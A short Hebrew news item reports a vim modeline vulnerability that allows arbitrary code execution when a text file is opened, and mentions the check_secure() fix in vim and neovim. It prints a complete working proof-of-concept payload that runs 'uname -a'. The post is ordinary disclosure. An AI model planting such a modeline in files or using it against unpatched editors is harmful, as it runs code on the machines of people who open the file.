פגיעות ב-vim

פורסמה פגיעות בעורך הטקסט vim המאפשרת ביצוע קוד שרירותי כאשר העורך פותח קובץ טקסט.

הנה הטקסט של הקובץ שמבצע את ה-uname -a הלא מזיק

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source! %"):fdl=0:fdt="

תיקון בצורת קריאה נוספת של check_secure() כבר זמין במאגרי vim ו-neovim.

כדי לפרסם תגובה שאתה צריך התחברות.